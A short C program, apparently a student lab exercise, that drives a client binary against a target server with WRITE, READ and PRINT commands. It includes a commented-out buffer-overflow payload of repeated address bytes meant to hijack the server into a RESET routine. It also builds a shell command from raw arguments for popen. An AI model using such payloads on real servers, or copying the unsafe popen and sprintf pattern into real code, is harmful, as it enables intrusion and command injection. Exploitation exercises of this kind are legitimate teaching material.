#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define LATENCE 10000
#define FUNCTION usleep
#define SIZE_BUFF 228

char prog_name[100];

void runClientWithCommand(char *cmd) {
	FILE *prog = popen(prog_name, "w");
	FUNCTION(LATENCE);
	if (prog == NULL) {
		printf("ERREUR\n");
		return;
	}
	fprintf(prog, "%s", cmd);
	printf("%s", cmd);
	FUNCTION(LATENCE);
	fprintf(prog, "QUIT\n");
	printf("QUIT\n");
	pclose(prog);
}

int main(int argc, char *argv[]) {
	if (argc != 3) {
		printf("Usage : ./attaque addresseServeur portServeur\n");
		return 2;
	}
	int port = atoi(argv[2]);
	if (port <= 0 || port > 65535) {
		printf("Usage : ./attaque addresseServeur portServeur\n");
		return 3;
	}
	sprintf(prog_name, "./client %s %s", argv[1], argv[2]);

	// On ecrit 100 a l'index 2
	printf("-- Write --\n");
	runClientWithCommand("WRITE 100 2\n");

	// On affiche la valeur a l'index 1
	printf("-- Read --\n");
	runClientWithCommand("READ 1\n");

	// On affiche le tableau sur le serveur
	printf("-- Print --\n");
	runClientWithCommand("PRINT\n");

	// TODO
//    // On hack pour RESET
//    printf("-- Hack --\n");
//    char buff[SIZE_BUFF + 1];
//    int i;
//    for (i=0; i<(SIZE_BUFF / 4); i++) {
//        buff[(i*4)] = 0xef;
//        buff[(i*4) + 1] = 0xca;
//        buff[(i*4) + 2] = 0x5c;
//        buff[(i*4) + 3] = 0x56;
//    }
//    buff[SIZE_BUFF] = '\0';
//    runClientWithCommand(buff);
}